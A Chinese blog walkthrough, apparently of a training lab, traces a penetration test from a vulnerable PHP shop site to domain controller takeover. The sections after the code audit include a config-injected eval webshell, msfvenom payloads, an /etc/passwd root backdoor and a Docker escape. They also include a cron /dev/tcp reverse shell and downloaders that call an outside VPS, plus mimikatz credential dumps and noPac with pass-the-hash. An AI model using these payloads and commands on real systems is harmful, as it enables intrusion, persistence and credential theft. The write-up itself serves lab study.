文章目录

  • 从外网打点到渗透内网域控 NASA
  • 前言
    • 任务说明
    • 靶场拓扑
    • 环境搭建
  • 外网打点
    • 端口扫描
      • 使用 masscan 扫描全部端口
      • 使用 nmap 扫描全部端口
    • 目录扫描
    • 后台测试
      • 社工生成字典
    • 代码审计
      • 密码找回 sql 注入
      • 手机版 支付存在 sql注入
      • 任意文件删除漏洞
      • 任意文件上传配合重装漏洞 getshell
  • 主机提权
    • 信息收集
    • find SUID 提权
    • 反向代理 msf 上线
    • docker 逃逸
      • 添加 root 权限用户
      • 创建交互 shell
      • 开始 docker 逃逸
      • 反弹宿主机 shell
      • 上线 msf
  • 内网渗透
    • 内网信息收集
      • fscan扫描内网
      • msf 设置代理扫描内网
    • ms17-010 攻击
    • iis6.0 溢出攻击获得权限
    • 上线cs
    • 使用 CVE-2009-1535-IIS6 2003 提权
    • flag 的获取以及当前主机信息收集
    • 内网主机扫描
    • 横向渗透
    • win 7 的信息收集
  • CVE-2021-42278 and CVE-2021-42287 攻击域控
    • psexec 连接
    • 上线 cs
  • 总结

从外网打点到渗透内网域控 NASA

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

前言

本次项目是一个是模拟渗透测试 电信诈骗网站(我与诈骗不共戴天),境外人员依赖该网站通过优惠卷诱导受害者进行消费,诈骗受害人金钱。

任务说明

nasa靶场是综合考核学员能力的项目,主要是考核 外网打点到渗透内网域控的综合能力。操作系统 包括 linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技术。

通过渗透测试方式,获取五个flag.txt 即可

靶场拓扑

环境搭建

主机名 IP 账号 密码
ubuntu 192.168.59.138 ubuntu QWEasd444
win2003 192.168.59.144 ,10.10.10.137 administrator admin5555
win7 192.168.59.197 , 10.10.10.142 win7 admin5555
19server-01 10.10.10.140 nasa\administrator QWEasd.123
19server-02 10.10.10.141 nasa\administrator QWEasd.123
nasa\test QWEasd!@#99

使用两个网卡 NAT 和 VMnet18

虚拟机设置完毕后,我们还需要一个 购买一个 vps ,设置frp反响代理把 ubuntu上的网站映射出去。

这里我就使用两个 vps 来进行复现,一个用于 msf 和 cs ,一个用于映射ubuntu上的网站

vsp

frps.ini

[common]
# 监听的端口
bind_port = 8888
# 相对于连接密码
token = QWEasd123
# 启动服务端
frps.exe -c frps.ini

ubuntu

frpc.ini

[common]
server_addr = 124.223.169.73
server_port = 8888
token = QWEasd123
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
# 将访问vps 80 端口的流量 转到 127.0.0.1:80
remote_port = 80
# 启动客户端
./frpc -c frpc.ini# 这里为了方便,我们使用以下命令将他放在后台运行
nohup ./frpc -c frpc.ini &

我们访问 vps的80端口,能够出现页面就成功了。

外网打点

端口扫描

首先对端口进行端口扫描,获取开放的端口,大致了解当前服务器的开放端口,得到开放端口后再进行端口探测,获取端口的指纹信息。

使用 masscan 扫描全部端口

这里的 发包数不能太高 否则可能扫描不出结果

Tips:一般常见的端口都在 10000 以内,可以只扫描 10000 以内的端口

sudo masscan -p 1-10000 124.223.169.73 --rate=100

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7HH2uDP-1661500900536)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220804221409332.png)]

这里不知道为什么,扫描不出来开放端口。

把速度和端口数量减少后能扫描出来,但是有遗漏。

有懂的师傅可以评论解答嘛,感谢。

使用 nmap 扫描全部端口

nmap 124.223.169.73 -p 1-65535 -Pn -sV -oN open-port.txt

扫描全部的端口特别慢,建议只扫描一部分端口。

开放端口

25/tcp  open  tcpwrapped
80/tcp  open  tcpwrapped
110/tcp open  tcpwrapped

从端口上面看,没有什么可以利用的。

目录扫描

我们扫描一下网站目录,看看能不能得到什么有用的信息。

讲真的我看到结果的时候有点意外,还以为我ip被屏蔽了呢。后经测试发现全部都是正确的。

4000多的目录只能说明这个系统太大了,不过越大的系统漏洞也就比较多。

总结了一下比较关键的目录:

# 后台登录地址
http://124.223.169.73/admin/webadmin.php?mod=do&act=login
# 前台登录地址
http://124.223.169.73/user.php?mod=do&act=login&fromto=http%3A%2F%2F124.223.169.73%2F
# 重装系统地址
http://124.223.169.73/install/

为了方便测试我们,注册一个前台登录的用户

user:shiliana
passwd:123456

后台测试

我们先测试一下后台是否存在弱口令之类的。

这里没有测试出弱口令,但是存在一个验证码复用的漏洞。

我们可以通过社工生成字典进行爆破,或者使用大字典进行爆破。从而获得后台登录权限。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQO9SI3X-1661500900538)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805095101249.png)]

社工生成字典

网站地址:https://api.xiaobaibk.com/lab/guess/

使用 burp 进行爆破成功获得后台登录密码

代码审计

上面是通过社工获取密码,针对的是弱口令相关,如果用户用高强度的密码,这种方式基本失败。所以还是将重点放在挖掘漏洞这方面,从网站后台,可以看到是《逍遥商城管理系统》通过百度找到这个系统,本地搭建,进行黑盒测试,代码审计找出漏洞。

密码找回 sql 注入

hook/yzmlog.hook.php

function add_yzmlog($user, $yzm) {global $db;$sql_set['yzmlog_user'] = $user;$sql_set['yzmlog_value'] = $yzm;$sql_set['yzmlog_atime'] = time();$sql_set['yzmlog_adate'] = date('Y-m-d');# 调用了 pe_ip ,这个方法没有经过严格的过滤$sql_set['yzmlog_ip'] = pe_ip();if ($db->pe_insert("yzmlog", $sql_set)) {return true;}else {return false;}
}

public/function/global.func.php

// 获取ip
function pe_ip()
{if (isset($_SERVER)){if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {$realip = $_SERVER["HTTP_CLIENT_IP"];} else {$realip = $_SERVER["REMOTE_ADDR"];}} else {if (getenv("HTTP_X_FORWARDED_FOR")){$realip = getenv("HTTP_X_FORWARDED_FOR");} else if (getenv("HTTP_CLIENT_IP")) {$realip = getenv("HTTP_CLIENT_IP");} else {$realip = getenv("REMOTE_ADDR");}}$ip_arr = explode(',', $realip);return $ip_arr[0];
}

具体调用

hook/yzmlog.hook.php

function send_yzm($type, $user, $apitype = 'juhe') {global $db, $cache_setting;pe_lead('hook/qunfa.hook.php');$user = pe_dbhold($user);$yzm = rand(100000,999999);//$linshi_pw = substr(md5($pe['host_root'].$email.rand(1,9999).time()), 5, 6);if ($type == 'email') {$email['qunfa_name'] = "尊敬的{$user}用户,请查收您的验证码"; $email['qunfa_text'] = "尊敬的用户,您的邮箱验证码为:{$yzm},验证码有效期为30分钟!请尽快验证,谢谢!";            $result = qunfa_email($user, $email);}else {//一分钟内最多发送3次$nowtime = time() - 60;$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_atime` >= '{$nowtime}'");if ($yzmnum >= 3) {return array('result'=>false, 'show'=>'您发送的太频繁了,请稍后再试');}//一天内未验证次数超过5次的手机号就不让再发送了$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");if ($yzmnum >= 5) {return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');}//一天内未验证次数超过10次的ip就不让再发送了$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");if ($yzmnum >= 10) {return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');}$result = qunfa_sms($user, "【{$cache_setting['sms_sign']}】尊敬的用户,您的验证码为:{$yzm}。如非本人操作,请忽略本短信");}if ($result['result']) add_yzmlog($user, $yzm);return $result;
}

但是因为网站只是测试环境所以没有发送验证码的功能,利用失败。

手机版 支付存在 sql注入

module/mobile_user/back.php

<?php $menumark = 'lxb';
$cook_uid = $_SESSION['user_id'];
switch ($act) {case 'list':default:$order_list = $db2->getAll('select * from xy_order where user_id='.$cook_uid.' and (  order_state = "whuishou" or  order_state = "endhuishou" ) order by id desc  ');$goods = array();$i=0;foreach( $order_list as $k => &$v ){ $products = $db2->getAll( 'select * from xy_orderdata where order_id='.$v['order_id'] );foreach( $products as $pk => &$vs ){$goods[$i] = $db2->getOne( 'select product_name from xy_product where product_id= '.$vs['product_id'] );$i++;}$v['product_name'] = implode(',', $goods );$v['product_logo'] = $vs['product_logo'];}$menutitle = '我的回收';$seo = pe_seo($menutitle);include(pe_tpl('huishou_list.html'));break;case 'dohuishou':$order_id = trim( $_REQUEST['order_id'] );// 这里存在注入,传入数据未经过滤$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');if( empty( $order ) ){json_error('订单不存在');}if( $order['order_pstate'] == 0 ){json_error('订单未付款');}if( $order['order_state'] == 'whuishou' ){json_error('回收中,请勿重复操作');}if( $order['order_state'] == 'endhuishou' ){json_error('回收成功,请勿重复操作');}$money = max( $order['order_product_money'], $order['order_money'] );$order_goods = $db2->getAll( 'select * from xy_orderdata where order_id="'.$order_id.'"' );$back_money_all = 0;foreach($order_goods as $kg => $ov   ){$goods = $db2->getRow( 'select * from xy_product where product_id='.$ov['product_id'] );$hsmoney = $goods['product_bmoney'];if( $hsmoney <= 0 ){$xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;$hsmoney = $ov['product_smoney'] *  $xy_set['reback_percent'] / 100;}$back_money_all += $hsmoney;}#$xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;#$huishou_money = ( $xy_set['reback_percent'] / 100 ) * $money;$huishou_money = $back_money_all;$db2->query('update xy_order set order_state = "whuishou" ,huishou_money="'.$huishou_money.'" where order_id="'.$order_id.'" ');json_ok('操作成功,等待审核');break;case 'apply' :$order_id = trim( $_GET['order_id'] );$menutitle = '回收';$seo = pe_seo($menutitle);include(pe_tpl('huishou.html'));break;}

如果 $act=‘dohuishou’,再传入 order_id ,其中 order_id 没有经过过滤就造成 sql注入。

由于注入点为手机版的网页,所以在火狐浏览器上下载一个 User-Agent Switcher 模拟手机的 User-Agent

登录抓取包使用sqlmap 对其进行注入,找到后台登录密码。

sqlmap -r C:\Users\Anonymous\Desktop\sql.txt -D yhj -T xy_admin -C admin_name,admin_pw --dump --dbms mysql --batch
GET /user.php?mod=back&act=dohuishou&order_id=* HTTP/1.1
Host: 124.223.169.73
User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:83.0) Gecko/83.0 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=kikvq8tmr4tv2isbe4ntp328v5
Upgrade-Insecure-Requests: 1

解密获得密码

任意文件删除漏洞

admin/module/db.php

switch ($act) {//####################// 数据导入 //####################//case 'import'://pe_error('演示站已关闭导入数据功能');pe_token_match();if ($_g_dbname) {$db_list = pe_dirlist("{$pe['path_root']}data/dbbackup/{$_g_dbname}/xiaoyao_*#v*.sql");count($db_list) == 0 && pe_error("目录下没有有效的数据库文件");$db_listname = explode('#', $db_list[0]);pe_goto("webadmin.php?mod=db&act=import_one&path={$_g_dbname}&mark={$db_listname[0]}&num=1");}else {pe_error("请选择需要导入的数据库目录...");}break;//####################// 数据导入(执行) //####################//case 'import_one':if (is_file($sqlname = "{$pe['path_root']}data/dbbackup/{$_g_path}/{$_g_mark}#v{$_g_num}.sql")) {$num = $_g_num + 1;sql_import($sqlname) ? pe_success('数据导入中请勿刷新!', "webadmin.php?mod=db&act=import_one&path={$_g_path}&mark={$_g_mark}&num={$num}") : pe_error('数据导入失败...', 'webadmin.php?mod=db');}else {     pe_success('数据导入完成!', 'webadmin.php?mod=db');}break;//####################// 数据备份 //####################//case 'backup':$back_path = "{$pe['path_root']}data/dbbackup/".date('Ymd@His')."/";$table_list = $db->sql_selectall("show table status from `{$pe['db_name']}`");$mark = substr(md5(uniqid().rand(1, 999999).time().rand(1, 999999)), rand(1,24), 8);$pe_cutsql = "/*#####################@ pe_cutsql @#####################*/\n";if (isset($_p_pesubmit)) {//不分卷pe_token_match();if ($_p_backup_cut && $_p_backup_where == 'down') pe_error('本地下载不支持分卷备份...');if ($_p_backup_cut && !$_p_backup_cutsize) pe_error('请填写分卷文件大小...');if ($_p_backup_where == "server") {!is_dir($back_path) && mkdir($back_path, 0777, true);!is_writable($back_path) && pe_error("{$back_path} 目录没有写入权限...");}if (!$_p_backup_cut) {$sql_arr = array();foreach ($table_list as $v) {$sql_arr = array_merge($sql_arr, dosql($v['Name']));}$sql = implode($pe_cutsql, $sql_arr);if ($_p_backup_where == 'down') {down_file($sql, 'xiaoyao_db.sql');}elseif ($_p_backup_where == 'server') {if (file_put_contents("{$back_path}xiaoyao_{$mark}#v1.sql", $sql)) {file_put_contents("{$back_path}index.html", '');pe_success("数据备份完成!");}else {pe_error("数据备份失败...");}}}else {$vnum = 1;$sql_arr = array();foreach ($table_list as $v) {$sql_arr = array_merge($sql_arr, dosql($v['Name']));$sql = implode($pe_cutsql, $sql_arr);if (strlen($sql) >= $_p_backup_cutsize * 1000) {file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);$sql_arr = array();$vnum++;}}$sql && file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);file_put_contents("{$back_path}index.html", '');pe_success("数据分卷备份完成!");}}break;//####################// 数据删除 //####################//case 'del'://pe_error('演示站未开启删除权限');pe_token_match();// 其中的 $_g_dbname 未经过过滤pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");pe_success('删除完成!');break;//####################// 数据备份恢复 //####################//default:$backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");rsort($backup_list);$seo = pe_seo($menutitle='数据备份', '', '', 'admin');include(pe_tpl('db_list.html','admin'));break;
}

在数据删除处,传入的路径没有经过过滤直接拼接会造成删除任意路径下的文件。

任意文件上传配合重装漏洞 getshell

在上面扫描目录的时候我们就发现了,存在一个 install 的重装系统路径,不够需要删除一个指定文件才能重新安装系统。

刚好我们上面存在一个删除任意文件的漏洞,我们可以利用漏洞来删除 install.lock 文件。

我们拼接一下利用路径:

../../install/install.lock

burp 抓包修改删除文件

重装系统插入 一句话

**Tips:**重装系统的危害比较大,在真实的渗透测试环境一定要取得授权才能进行下一步操作。

在这里面填写的信息会写入到 config.php 的配置文件中,所以构造以下语句写入一句话:

xy_');eval($_POST['x']);//

其中的数据库用户名和密码不知道的话,我们可以在公网上开放一个mysql服务让它去连接我们的mysql服务。

这里我是知道的所以就不弄这么麻烦了。

我们使用蚁剑进行连接

我们可以重新上传一个马或者上传其他工具的马,把配置文件改回去复制网站出现错误。

主机提权

信息收集

上传脚本 LinEnum.sh 进行信息收集,脚本可以去GitHub上下载。

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################[-] SUID files:
-rwsr-xr-x 1 root root 233984 Nov  8  2014 /usr/bin/find
-rwsr-xr-x 1 root root 53616 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 75376 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44464 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 54192 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 39912 May 17  2017 /usr/bin/newgrp
-rwsr-xr-- 1 root messagebus 294512 Nov 22  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 464904 Nov 19  2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 40000 Mar 29  2015 /bin/mount
-rwsr-xr-x 1 root root 70576 Oct 28  2014 /bin/ping
-rwsr-xr-x 1 root root 27416 Mar 29  2015 /bin/umount
-rwsr-xr-x 1 root root 40168 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 61392 Oct 28  2014 /bin/ping6[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 233984 Nov  8  2014 /usr/bin/find[+] Looks like we're in a Docker container:
12:pids:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
11:hugetlb:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
10:memory:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
9:cpu,cpuacct:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
8:freezer:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
7:net_cls,net_prio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
6:blkio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
5:perf_event:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
3:devices:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
2:cpuset:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
1:name=systemd:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
-rwxr-xr-x 1 root root 0 Mar  5 06:13 /.dockerenv### SCAN COMPLETE ####################################

可以看到可以使用 SUID 提权,并且机器在 docker容器 中。

find SUID 提权

find /etc/passwd -exec whoami \;

反向代理 msf 上线

我准备了两台 vps 一台用于 代理web网站 ,另外一台用于 代理 msf。

在 vps 上设置 frps.ini

[common]
bind_port = 5555
token = QWEasd123
# 后台运行
nohup ./frps -c frps.ini &

在内网的 kali 上设置 frpc.ini

其中的端口映射可以有多个

[common]
server_addr = 121.4.60.34
server_port = 5555
token = QWEasd123
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6666
[msf1]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 7777
# 后台运行
nohup ./frpc -c frpc.ini &

msf 上线

生成 Linux 木马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=121.4.60.34 lport=6666 -f elf > L.elf

上传到目标机器上,使用find 提权执行

find /etc/passwd -exec "./L.elf" \;

msf 监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 6666
run

获得会话

docker 逃逸

在之前的信息收集中,我们知道我们是在一个 docker 容器中,并且我们利用 suid 提权可以获得 docker 的root权限。

因为docker 逃逸会用到交互式shell,所以我们直接先添加一个root权限用户,并且反弹一个shell来进行 docker 逃逸。

添加 root 权限用户

openssl passwd -1 -salt hack pass@123
echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd

在msf会话中输入 shell 后输入下面的代码

echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd

创建交互 shell

python -c 'import pty; pty.spawn("/bin/bash")'
su hack
# 输入密码

开始 docker 逃逸

# 创建目录
mkdir /test
# 将宿主的目录挂载到test目录
mount /dev/sda1 /test
# 改变根目录为 /test
chroot /test

反弹宿主机 shell

echo '/bin/bash -i >& bash -i >&/dev/tcp/121.4.60.34/8888 0>&1' > /tmp/sec.sh && chmod +x /tmp/sec.sh && cat /tmp/sec.sh && echo '*/1 * * * * root bash /tmp/sec.sh' >>/etc/crontab

在 vps 监听

nc -lnvp 8888

成功获得反弹 shell

上线 msf

这里我们使用 wget 进行下载我们的后门文件并运行

wget http://121.4.60.34:7777/L.elf

msf 成功获得了宿主机的 root 权限

已经拿下了一台边缘主机,接下来就是进行内网渗透了,这里应该有应该 flag 如下:

moonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e}

内网渗透

内网信息收集

在信息收集方面,要收集内网常用端口 445,443等以及存活主机。

fscan扫描内网

这个工具在内网扫描中十分好用,在主机扫描的时候还可以进行漏洞扫描。

GitHub下载地址: https://github.com/shadow1ng/fscan

# msf会话上传文件命令
upload /home/kali/桌面/fscan_amd64_1.6 /root
# fscan 扫描命令
./fscan_amd64_1.6 -h 192.168.59.0/24 -np -no -nopoc

扫描结果

扫描出两台主机

192.168.59.197  # Windows 7
192.168.59.144  # winodws 2003

这里我们看到两台主机都进行了 ms17-010(永恒之蓝)的扫描,一会我们可以使用 msf 的攻击模块去打一下试试。

msf 设置代理扫描内网

添加路由

run get_local_subnets
run autoroute -s 192.168.59.0 255.255.255.0
run autoroute -p

启动代理 使用VERSION 5

background
use auxiliary/server/socks_proxy
run

设置 kali 的 /etc/proxychains4.conf 文件

sudo vi /etc/proxychains4.conf

添加 socks5 127.0.0.1 1080

proxychains4 调用nmap扫描内网

sudo proxychains4 nmap -sT -Pn 192.168.59.144 -p 445,80,443

使用nmap 扫描网段,显示存在 254 台主机并且端口全部都是开放的,不知道什么毛病。

有懂的师傅解答一下,十分感谢!

ms17-010 攻击

use exploit/windows/smb/ms17_010_eternalblue
# 这里只有我们能够访问到它,所以设置正向木马
set payload windows/x64/meterpreter/bind_tcp
set lport 7777
set rhosts 192.168.59.144
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i0v6XBma-1661500900553)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805153623820.png)]

这里两台主机都利用失败了,寻找其他方法。

iis6.0 溢出攻击获得权限

这里我也不知道师傅们是怎么找到这个漏洞的,如果实在是找不到漏洞了可以尝试在边缘主机上搭一个代理然后使用 nessus 进行扫描说不定会有意外收获。

proxychains4  python2 ii6.py 192.168.59.144 80 121.4.60.34 8889

在 vps 监听

nc -lvnp 8889

成功获得 shell

上线cs

设置监听器

设置后门下载地址

下载后门文件,并运行上线。

# 我们 cd 到这个目录其他目录可能不能写入,这个目录默认是可以写入的
cd C:\WINDOWS\Temp\echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbscscript downfile.vbs http://121.4.60.34:80/download/cs.exe cs.exe

查看 cs 上线

使用 CVE-2009-1535-IIS6 2003 提权

我们在cs中上传 提权 exp

使用 提权 exp执行之前的木马给我反弹一个系统权限。

这里的提权手法肯定不止一个,我们可以 systeminfo 拿去在线网站进行检测。

flag 的获取以及当前主机信息收集

获取flag

shell type "C:\Documents and Settings\Administrator\root.txt"
moon_flag{7555051b6d8a2dca27a29f9cb0d2e3a6}

抓取 hash

hashdump

抓取明文密码

logonpasswords

查看当前网卡

shell ipconfig

存在两个网段。

内网主机扫描

这里因为笔记本的内存比较小没办法把所有虚拟机都打开,所以我只开了三台。

横向渗透

得到了存活主机,我们可以使用 hash 传递试一试能不能拿下其他主机。

这里利用失败了,我们使用 python版的 psexec 试试

或者利用 msf 中的 ms17_010_psexec 进行登录

最后得到 win7 权限

win 7 的信息收集

抓取 hash

抓取 明文密码

这里我们得到了一个域用户,一会域渗透能够用到。

Authentication Id : 0 ; 1118427 (00000000:001110db)
Session           : Interactive from 2
User Name         : test
Domain            : NASA
Logon Server      : AD01
Logon Time        : 2022/8/6 15:31:41
SID               : S-1-5-21-320502414-1314547354-1033589243-1134msv :  [00000003] Primary* Username : test* Domain   : NASA* LM       : a071457d1ede2871a365438a9412e9f4* NTLM     : 59e3c9f97af3f257b02409bbf3b2da11* SHA1     : c4eb781da81b515f7d68f68044e97ac00e1d7085tspkg :  * Username : test* Domain   : NASA* Password : QWEasd!@#999wdigest :   * Username : test* Domain   : NASA* Password : QWEasd!@#999kerberos :  * Username : test* Domain   : NASA.GOV* Password : QWEasd!@#999ssp :   credman :

收集网段,扫描网段主机

存在两个网段,192 我们已经全部打完了,我们扫描一下 10 段。

存在两台主机

10.10.10.140     AD01
10.10.10.141        AD02

CVE-2021-42278 and CVE-2021-42287 攻击域控

项目下载地址:https://github.com/Ridter/noPac

使用以下命令导出 AD02 的 hash

python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141 -dc-host AD02  --impersonate administrator -use-ldap -dump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

psexec 连接

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.141

获取 flag

moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14}

AD01 同理

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140

获取 flag

moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08}

上线 cs

想要上线 cs,只需要使用上面的下载脚本下载 木马 然后执行就行了。

这里因为时间问题就不进行操作了。

总结

在做项目的时候我们可以把我们学到的知识串联起来,并且在做项目的时候我们会遇到各种各样的问题不会像打靶场那样顺利。遇到这些问题我们要试着去解决它,说不定哪天就可能会遇到同样的问题。

没有人一出生就是大佬,无非是见的多了就懂了。

希望各位能保持一开始的热情,我们顶峰相见。

从外网打点到渗透内网域控 NASA相关推荐

  1. 内网渗透-内网代理穿透和内网横向移动

    内网代理穿透和内网横向移动 文章目录 内网代理穿透和内网横向移动 前言 内网代理穿透 nc termite(ew) ssh正向代理(A,B,C) msf设置路由和sock4代理访问内网流量 内网横向移 ...

  2. 小迪渗透内网渗透(玖)

    文章目录 65. 域环境&工作组&局域网方针(65-72) 演示案例: 涉及资源: 66. 横向批量&schtasks&im&packet 演示案例: 涉及资源 ...

  3. iptables 状态策略 允许内网连接外网 拒绝外网主动连入内网 _ 笔记

    4种状态 new established related invalid NEW ( a连接b 在b没有回复前 都被称为NEW包) ESTABLISHED ( a和b 连接成功 只有一个连接时 称为E ...

  4. H3C SecPath U200-S 如何在内网使用外网IP地址访问内网服务器

    H3C SecPath U200-S 如何在内网使用外网IP地址访问内网服务器 ------------------------------------------------------------ ...

  5. 无线上外网,有线上内网的方式(转)

    原文地址:无线上外网,有线上内网的方式(转)_atongmu2017的博客-CSDN博客 在外面调试程序,内网是调试程序必须的,而要上外网,又只有通过无线连接.不过发现这样有个问题,就是在笔记本的无线 ...

  6. Windows 内网渗透之攻击域控

    文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...

  7. 内网穿透基础概念---内网外网

    广域网和局域网 先上概念 广域网 广域网(英语:Wide Area Network,缩写为 WAN),又称外网.公网.是连接不同地区局域网或城域网计算机通信的远程网.通常跨接很大的物理范围,所覆盖的范 ...

  8. 如何在外网远程使用内网的打印机【内网穿透】

    出差在外,可能会遇上需要使用内网打印机的情况:或者远程需要使用家里的打印机打印文件- 而如何在外网远程使用内网的打印机?可以做内网穿透,将打印机服务端口映射到公网上,生成公网地址,然后在外网设备上使用 ...

  9. 内网渗透-内网环境下的横向移动总结

    内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结 前言 横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全 横向移动威胁的特点 利用psexec 利用psexec.exe工具 msf中 ...

最新文章

  1. 证书 vivo_iQOO 5 Pro获泰尔实验室首张流畅性能体验五星证书
  2. ASP.NET MVC + ECharts图表案例
  3. 关于活动目录中DNS没有SRV记录的解决方法
  4. sudo 命令报错的解决方法
  5. 关于sqlserver中xml数据的操作
  6. ASP.NET2.0文件上传以及图片处理总结篇 [转]
  7. linux之xargs使用技巧
  8. 【面试虐菜】—— MongoDB知识整理
  9. php基础-基本语法
  10. react刷新页面_【跟着官网学React】Hello World
  11. 【Java与智能设备】4_1 Activity的创建和跳转
  12. python处理access数据库教程_Python操作Access数据库基本操作步骤分析
  13. 快速查询及下载CCF推荐期刊目录方法
  14. 硬核讲习,10名“悟道”核心成员,剖析大模型
  15. MATLAB编辑AWG波形,AWG5200任意波形发生器的功能特点及性能分析
  16. 3步教你如何做好技术入股
  17. python excel写入一列_python读取excel指定列数据并写入到新的excel方法
  18. (几何方面:六边形面积)编写程序,提示用户输入六边形的边长,然后输出显示它的面积。 计算六边形面积的公式是:area= s2 这里的s就是边长。下面是一个运行示例: 请输入边长:5.5
  19. swagger在VS2019 .net core2.2中的使用,及报错undefined /swagger/v1/swagger.json的解决办法
  20. WPS office出现“xxx.docx中发现无法读取内容,是否恢复此文档中的内容......word在试图打开文件时遇到错误” 紧急解决方案 -- 小黑日常超细解决教程

热门文章

  1. freemarker之页面静态化
  2. ORA-28000:账户已被锁定
  3. 配置低配台式计算机清单,魔兽世界怀旧服对电脑配置要求-最低配置清单一览-Appfound...
  4. Wandb——Pytorch模型指标可视化及超参搜索
  5. 最强【网络安全】是哪些大学?看一下一流网络安全学院建设高校
  6. echarts引导线_如何使用引导线获得更清晰的照片
  7. 【数据结构-K】基数排序
  8. python中的美元符号_Python学习笔模式匹配与正则表达式之插入字符和美元字符
  9. Serializers - Django REST framework
  10. OpenHarmony音频驱动介绍